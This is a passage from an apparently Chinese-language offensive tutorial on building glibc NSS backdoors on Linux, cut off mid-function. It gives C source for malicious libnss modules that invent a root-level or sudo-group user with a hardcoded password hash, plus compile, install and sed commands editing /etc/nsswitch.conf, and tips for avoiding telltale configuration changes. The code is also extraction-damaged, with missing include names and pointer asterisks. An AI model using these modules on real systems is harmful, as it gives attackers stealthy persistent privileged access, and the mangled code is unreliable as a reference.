│ │ 例:将 "root:x:0:0:root:/root:/bin/bash" 解析为
│ │ result->pw_name="root", pw_uid=0, pw_gid=0, ...
│ │ ├─ 解析成功 → 返回 NSS_STATUS_SUCCESS
│ │ └─ 格式错误 → 跳过此行,读下一行
│ └─ 返回 NSS_STATUS_SUCCESS(一条记录已解析到 result 中)
│
├─ 3. 匹配检查(break_if_match)
│ 比较 name("alice") 与 result->pw_name
│ ├─ 匹配 → break 跳出循环,返回 NSS_STATUS_SUCCESS
│ └─ 不匹配 → 继续下一次 internal_getent
│
└─ 4. fclose(stream) → 返回最终 status
用一句话总结:**打开文件 → 逐行读取并解析 → 逐条匹配 → 找到则返回成功,遍历完毕未找到则返回 NOTFOUND。**
类似地,`DB_LOOKUP(pwuid, ...)` 展开为 `_nss_files_getpwuid_r`,按 UID 查找,流程完全一致,只是匹配条件变为 `result->pw_uid == uid`。
其他数据库的模块(如 `files-hosts.c`、`files-grp.c`)结构也完全一致,只是 `STRUCTURE`、`DATABASE` 宏不同,解析器和匹配逻辑不同。例如 `files-hosts.c` 定义 `DATABASE "hosts"`,因此打开的是 `/etc/hosts`,解析出的结构体是 `struct hostent`。
基于以上规范,以下是一个最小化的 NSS 模块示例——为 passwd 数据库添加一个伪造的 `backdoor` 用户(UID=0):
include
include
include
include
enum nss_status
_nss_nop_getpwnam_r (constchar name,
struct passwd result,
char buffer,
size_t buflen,
int errnop)
{
if (strcmp(name, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
*errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
strcpy(buffer, "backdoor");
result->pw_name = buffer;
strcpy(buffer + strlen("backdoor") + 1, "x");
result->pw_passwd = buffer + strlen("backdoor") + 1;
result->pw_uid = 0;
result->pw_gid = 0;
strcpy(buffer + strlen("backdoor") + 2, "/root");
result->pw_dir = buffer + strlen("backdoor") + 2;
strcpy(buffer + strlen("backdoor") + 2 + strlen("/root") + 1, "/bin/bash");
result->pw_shell = buffer + strlen("backdoor") + 2 + strlen("/root") + 1;
result->pw_gecos = buffer + strlen("backdoor") + 2;
return NSS_STATUS_SUCCESS;
}
编译和部署:
编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
部署到系统目录
sudo cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
修改 nsswitch.conf
将 passwd 行改为:passwd: files nop
**验证方法**:执行 `id backdoor`,如果模块工作正常,应返回 `uid=0(root) gid=0(root)`。
上面的示例只实现了 passwd 数据库的 `getpwnam_r`。如果你要为其他数据库编写模块,核心差异在于:
1. **结果结构体不同**:passwd → `struct passwd`,hosts → `struct hostent`,group → `struct group`
2. **查询参数不同**:passwd → `const char *name`,hosts → `const char *hostname` + `int af`
3. **头文件不同**:`<pwd.h>`、`<netdb.h>`、`<grp.h>` 等
4. **需要实现的函数不同**:根据上文的"按数据库分组的函数子集"选择
例如,如果要为 hosts 数据库编写一个劫持模块,你需要实现 `_nss_nop_gethostbyname_r`,返回类型是 `struct hostent`,这在后续的 NSS 后门实战章节中会详细展开。
这个问题对于理解 NSS 后门的持久化能力至关重要:**修改 `nsswitch.conf` 后,是否需要重启进程?**
通过分析 `nss_database.c` 中的 `nss_database_check_reload_and_get()` 函数(第 392-475 行),glibc 的行为是:
1. **每次 NSS 查询**时,先 `stat()` 检查 `/etc/nsswitch.conf` 是否变化
2. 如果文件**未变化**(大小和 mtime 一致),直接返回缓存的配置
3. 如果文件**已变化**,重新打开文件、逐行解析、更新缓存
关键代码(第 410-421 行):
这意味着:**修改 `nsswitch.conf` 后,不需要重启已有进程。** 进程在下一次进行 NSS 查询时,会自动检测到文件变化并重新加载配置。
`nss_database.c` 第 423-447 行有一段特殊逻辑:检测根目录 `/` 的 inode 和 device 是否变化。如果变化了(说明进程进入了容器,如 chroot),则**永久禁用配置重新加载**:
int stat_rv = __stat64_time64 ("/", &str);
if (local->data.services[database_index] != NULL)
{
if (stat_rv != 0
|| (local->root_ino != 0
&& (str.st_ino != local->root_ino
|| str.st_dev != local->root_dev)))
{
// 检测到容器环境,禁用重新加载
atomic_store_release (&local->data.reload_disabled, 1);
*result = local->data.services[database_index];
__libc_lock_unlock (local->lock);
returntrue;
}
}
这正是 CVE-2025-32463 的利用条件之一——sudo 在 chroot 后,根目录发生变化,本应触发这个"禁用重新加载"的保护机制。但由于 sudo 在 chroot 之前就已经加载了配置(或者说,这是首次加载),所以这个保护没有生效。
需要注意的是,即使 `nsswitch.conf` 被重新加载,**已经通过 `dlopen()` 加载的 `libnss_*.so.2` 模块不会被卸载**。模块列表(`nss_module_list`)是全局的,只增不减(`nss_module.c` 第 50 行)。
这意味着:
- 如果你在 `nsswitch.conf` 中添加了一个新数据源,对应的 `.so` 会在下次查询时被加载
- 如果你从 `nsswitch.conf` 中移除了一个数据源,对应的 `.so` 仍然留在内存中,但其中的内容已经不起作用了
- 如果数据源的 `.so` 文件被替换,已加载的模块不会自动重新加载
**但需要区分两个层面的"效果":**
- **内存驻留**(`.so` 代码仍在进程地址空间中):一旦加载,永不卸载。即使后续从 `nsswitch.conf` 中移除了该数据源,`.so` 仍然留在内存里,其中的代码和数据仍然存在。
- **查询激活**(NSS 查询是否会走到该模块):完全由 `nsswitch.conf` 当前配置决定。如果攻击者部署了恶意 `libnss_evil.so.2`,在 `nsswitch.conf` 中添加了 `evil` 数据源使其被加载,然后又将其从 `nsswitch.conf` 中删除——恶意 `.so` 虽然仍在内存中,但**不会再被查询到**,因为 NSS 查询链路完全由配置文件驱动。
换句话说:**已加载模块的函数指针虽然还在内存中,但只要 `nsswitch.conf` 中不引用该数据源,这些函数就不会被调用。** 模块驻留不等于后门持续生效——后门的持续生效依赖于 `nsswitch.conf` 中持续保留对恶意数据源的引用。这也是为什么检测 NSS 后门时,检查 `nsswitch.conf` 的内容比检查已加载的 `.so` 更重要。
| 场景 | 是否立即生效 | 需要重启进程? |
|---|---|---|
| 修改 `nsswitch.conf` 中的数据源顺序 | ✅ 是 | ❌ 不需要 |
| 在 `nsswitch.conf` 中添加新数据源 | ✅ 是 | ❌ 不需要 |
| 在 `nsswitch.conf` 中移除数据源 | ✅ 是 | ❌ 不需要 |
| 替换磁盘上的 `libnss_*.so.2` 文件(已被某进程加载) | ❌ 对已运行进程不生效(函数指针已缓存) | ✅ 只有新启动的进程才会加载新版本 |
| 部署新的 `libnss_*.so.2` 文件并添加到 nsswitch.conf | ✅ 是 | ❌ 不需要 |
这个特性对后门植入非常有利:攻击者只需部署恶意 `.so` 文件并修改 `nsswitch.conf`,系统上所有正在运行的进程在下一次 NSS 查询时都会自动加载恶意模块。
经过前三章的原理分析,我们已经掌握了 NSS 机制的完整运作方式。从本章开始,我们将进入实战环节。
添加恶意数据源是最直接的 NSS 后门方式。它的核心思路是:在 `nsswitch.conf` 中追加一个自定义数据源名(如 `nop`),然后部署对应的 `libnss_nop.so.2` 恶意模块。由于 NSS 的 `NOTFOUND → continue` 默认行为,合法用户查询会由 `files` 正常处理,只有当 `files` 找不到时才会落到恶意模块。
- 已获取目标系统的 root 权限
- 目标系统使用 glibc(几乎所有 Linux 发行版均满足)
这是 0x03 中已经展示过的最小化模块。回顾一下它的核心逻辑:
这个模块只做一件事:当查询用户名为 `backdoor` 时,返回一个 UID=0(root 权限)的伪造用户条目。查询其他用户名时返回 `NOTFOUND`,不影响正常查询。
**查询流程如下:**
id backdoor
│
└─ getpwnam("backdoor")
│
└─ NSS 读取 nsswitch.conf: passwd: files nop
│
├─ 1. 查 files → 读取 /etc/passwd → 没有叫 backdoor 的用户
│ 返回 NSS_STATUS_NOTFOUND
│ 默认动作:continue → 继续查下一个数据源
│
└─ 2. 查 nop → 调用 _nss_nop_getpwnam_r("backdoor", ...)
名字匹配 → 返回 UID=0 的伪造条目
返回 NSS_STATUS_SUCCESS
默认动作:return → 结束查询
最终结果:id backdoor 输出 uid=0(root) gid=0(root)
**而查询正常用户时完全不受影响:**
id root
│
└─ getpwnam("root")
│
└─ NSS: passwd: files nop
│
├─ 1. 查 files → 读取 /etc/passwd → 找到 root
│ 返回 NSS_STATUS_SUCCESS
│ 默认动作:return → 结束查询
│
└─ 2. nop 模块不会被调用
最终结果:id root 正常输出,不受任何影响
1. 编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
2. 部署到系统库目录
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
3. 修改 nsswitch.conf
sed -i 's/^passwd:.*/passwd: files nop/' /etc/nsswitch.conf
4. 无需重启任何进程,立即生效(原因见 3.4 节)
id backdoor
su - backdoor
测试发现,实施后,确实可以瞒过 id 命令,但是想直接 su 登录时,还是需要输入密码,但它并没有密码,所以是不是可以考虑直接在拼接数据时,将第二个字段中填充密码,就相当于在 `/etc/passwd` 的第二个字段中添加密码。
我们进行一下尝试
`pw_passwd` 字段为 `"x"` 时,PAM 会去查 shadow 数据库。但如果我们直接在这个字段中填入密码哈希,PAM 也可以直接用它来认证。
先生成一个密码哈希:
openssl passwd -6 -salt saltsalt yourpassword
$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0
修改模块代码,将 `pw_passwd` 从 `"x"` 改为实际的密码哈希。为避免重启进程(3.4 节提到已加载的 .so 不会自动重新加载),我们新建一个不同名字的模块 `libnss_nop2.so.2`:
include
include
include
include
define BACKDOOR_USER "backdoor2"
define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop2_getpwnam_r (constchar name,
struct passwd result,
char buffer, size_t buflen, int errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->pw_uid = 0;
result->pw_gid = 0;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/root") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
return NSS_STATUS_SUCCESS;
}
编译、部署并切换数据源:
编译新模块
gcc -shared -fPIC -o libnss_nop2.so.2 nss_nop2.c
部署
cp libnss_nop2.so.2 /usr/lib/x86_64-linux-gnu/
将 nsswitch.conf 中的 nop 替换为 nop2
sed -i 's/^passwd:.*/passwd: files nop2/' /etc/nsswitch.conf
测试:
id backdoor2
su - backdoor2
密码:yourpassword
通过在 `pw_passwd` 中直接填入密码哈希,绕过了 shadow 数据库的依赖,仅用一个 passwd 模块就完成了用户伪造和认证。
不过这种方式有一个前提:系统的 PAM 配置必须允许从 `pw_passwd` 字段读取密码。大多数发行版默认支持,但某些高安全配置可能会强制要求 shadow。对于更通用的方案,仍然建议同时部署 shadow 模块(见 4.2 节)。
这个模块虽然能用,但存在明显的缺陷:
1. **`getpwent_r` 未实现**:只实现了 `getpwnam_r`,没有实现 `getpwent_r`。某些遍历所有用户的命令可能不会触发后门
2. **只覆盖 passwd 数据库**:没有覆盖 group、shadow 等,`id backdoor` 可能无法显示完整的组信息
3. **无法 SSH 登录**:SSH 登录需要 PAM 认证,PAM 会查询 shadow 数据库,而我们的模块没有处理 shadow
这些问题将在后续逐步解决。
要让后门用户能够真正"像正常用户一样"使用,需要覆盖 passwd、group、shadow 三个数据库。
增加 `getpwuid_r`(按 UID 查找)和 `getpwent_r`(遍历所有用户)的实现:
include
include
include
include
define BACKDOOR_USER "backdoor"
define BACKDOOR_UID 0
define BACKDOOR_GID 0staticvoid
fill_backdoor_passwd(struct passwd result, char buffer, size_t buflen)
{
char p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = BACKDOOR_UID;
result->pw_gid = BACKDOOR_GID;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/root") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar name,
struct passwd result,
char buffer, size_t buflen, int errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
struct passwd result,
char buffer, size_t buflen, int errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct passwd result,
char buffer, size_t buflen, int errnop)
{
if (!pwent_called)
return NSS_STATUS_UNAVAIL;
if (pwent_called == 1)
{
pwent_called = 2;
if (buflen < 256)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer, buflen);
return NSS_STATUS_SUCCESS;
}
return NSS_STATUS_NOTFOUND;
}
为后门用户伪造 group 信息:
include
include
include
include
define BACKDOOR_GROUP "root"
define BACKDOOR_GID 0
enum nss_status
_nss_nop_getgrnam_r (constchar name,
struct group result,
char buffer, size_t buflen, int errnop)
{
if (strcmp(name, BACKDOOR_GROUP) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 128)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char p = buffer;
result->gr_name = p;
p = stpcpy(p, BACKDOOR_GROUP) + 1;
result->gr_passwd = p;
p = stpcpy(p, "x") + 1;
result->gr_gid = BACKDOOR_GID;
result->gr_mem = (char )(p + sizeof(char ) * 2);
result->gr_mem[0] = NULL;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getgrgid_r (gid_t gid,
struct group result,
char buffer, size_t buflen, int errnop)
{
if (gid != BACKDOOR_GID)
return NSS_STATUS_NOTFOUND;
return _nss_nop_getgrnam_r(BACKDOOR_GROUP, result, buffer, buflen, errnop);
}
enum nss_status
_nss_nop_initgroups_dyn (constchar user, gid_t group,
longint start, longint *size,
gid_t groups, longint limit,
int errnop)
{
if (strcmp(user, BACKDOOR_GROUP) != 0 && strcmp(user, "backdoor") != 0)
return NSS_STATUS_NOTFOUND;
if (start >= size)
{
size = 2;
groups = realloc(groups, size * sizeof(gid_t));
if (groups == NULL)
return NSS_STATUS_TRYAGAIN;
}
(groups)[start] = BACKDOOR_GID;
start += 1;
return NSS_STATUS_SUCCESS;
}
让后门用户通过 PAM 认证(SSH 登录等场景需要):
include
include
include
include
define BACKDOOR_USER "backdoor"
define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
enum nss_status
_nss_nop_getspnam_r (constchar name,
struct spwd result,
char buffer, size_t buflen, int errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 512)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
char p = buffer;
result->sp_namp = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->sp_pwdp = p;
p = stpcpy(p, BACKDOOR_HASH) + 1;
result->sp_lstchg = 20000;
result->sp_min = 0;
result->sp_max = 99999;
result->sp_warn = 7;
result->sp_inact = -1;
result->sp_expire = -1;
result->sp_flag = 0;
return NSS_STATUS_SUCCESS;
}
`BACKDOOR_HASH` 是一个预计算的 SHA-512 密码哈希。生成方式:`openssl passwd -6 -salt saltsalt yourpassword`
编译
gcc -shared -fPIC -o libnss_nop.so.2 nss_nop.c
部署
cp libnss_nop.so.2 /usr/lib/x86_64-linux-gnu/
修改 nsswitch.conf,覆盖三个数据库
sed -i 's/^passwd:./passwd: files nop/' /etc/nsswitch.conf
sed -i 's/^group:./group: files nop/' /etc/nsswitch.conf
sed -i 's/^shadow:.*/shadow: files nop/' /etc/nsswitch.conf
验证:
id backdoor
ssh backdoor@127.0.0.1
测试发现,虽然 su 切换到 backdoor ,并且使用 `getent` 能够完整获取到信息,但是 ssh 还是失败了。 接下来通过阅读 pam 源代码,发现可能原因是 ssh 默认配置了不允许 root 登录,但 backdoor 的 uid 和 root 的 uid 是一致的,所以被拦截了。
为了验证这个猜想,我们先重启 ssh 服务,确保不是因为未重启 ssh 导致的
果然,重启 ssh 服务并没有解决问题
接下来我们尝试修改 ssh 配置文件,允许 root 登录,之后再重启 ssh 服务,再次尝试登录
果然是这样!
但这不是一个好方案——修改 `PermitRootLogin` 会留下明显的配置变更痕迹。更好的策略是**让后门用户使用非零 UID**,绕过 sshd 的 root 限制,同时通过加入 `sudo` 组获取 root 权限。
Ubuntu 默认的 `/etc/sudoers` 包含 `%sudo ALL=(ALL:ALL) ALL`,只要用户属于 `sudo` 组(GID=27),就能直接 `sudo` 提权。
完整代码如下:
include
include
include
include
include
include
include
define BACKDOOR_USER "backdoor"
define BACKDOOR_UID 1002
define BACKDOOR_GID 1002
define BACKDOOR_HASH "$6$saltsalt$JSA7QQezqkCGcLOuIP7k8H/4DIXCKpl3swj7W2rk1Ly8TTBeDk1WTtcom9yFeIc5TjzcRNL0tPKBkCzLPu9Jy0"
/ ==================== passwd ==================== /staticvoid
fill_backdoor_passwd(struct passwd result, char buffer)
{
char p = buffer;
result->pw_name = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_passwd = p;
p = stpcpy(p, "x") + 1;
result->pw_uid = BACKDOOR_UID;
result->pw_gid = BACKDOOR_GID;
result->pw_gecos = p;
p = stpcpy(p, BACKDOOR_USER) + 1;
result->pw_dir = p;
p = stpcpy(p, "/home/backdoor") + 1;
result->pw_shell = p;
p = stpcpy(p, "/bin/bash") + 1;
}
enum nss_status
_nss_nop_getpwnam_r (constchar name,
struct passwd result,
char buffer, size_t buflen, int errnop)
{
if (strcmp(name, BACKDOOR_USER) != 0)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwuid_r (uid_t uid,
struct passwd result,
char buffer, size_t buflen, int errnop)
{
if (uid != BACKDOOR_UID)
return NSS_STATUS_NOTFOUND;
if (buflen < 256)
{
errnop = ERANGE;
return NSS_STATUS_TRYAGAIN;
}
fill_backdoor_passwd(result, buffer);
return NSS_STATUS_SUCCESS;
}
staticint pwent_called = 0;
enum nss_status
_nss_nop_setpwent (int stayopen)
{
pwent_called = 1;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_endpwent (void)
{
pwent_called = 0;
return NSS_STATUS_SUCCESS;
}
enum nss_status
_nss_nop_getpwent_r (struct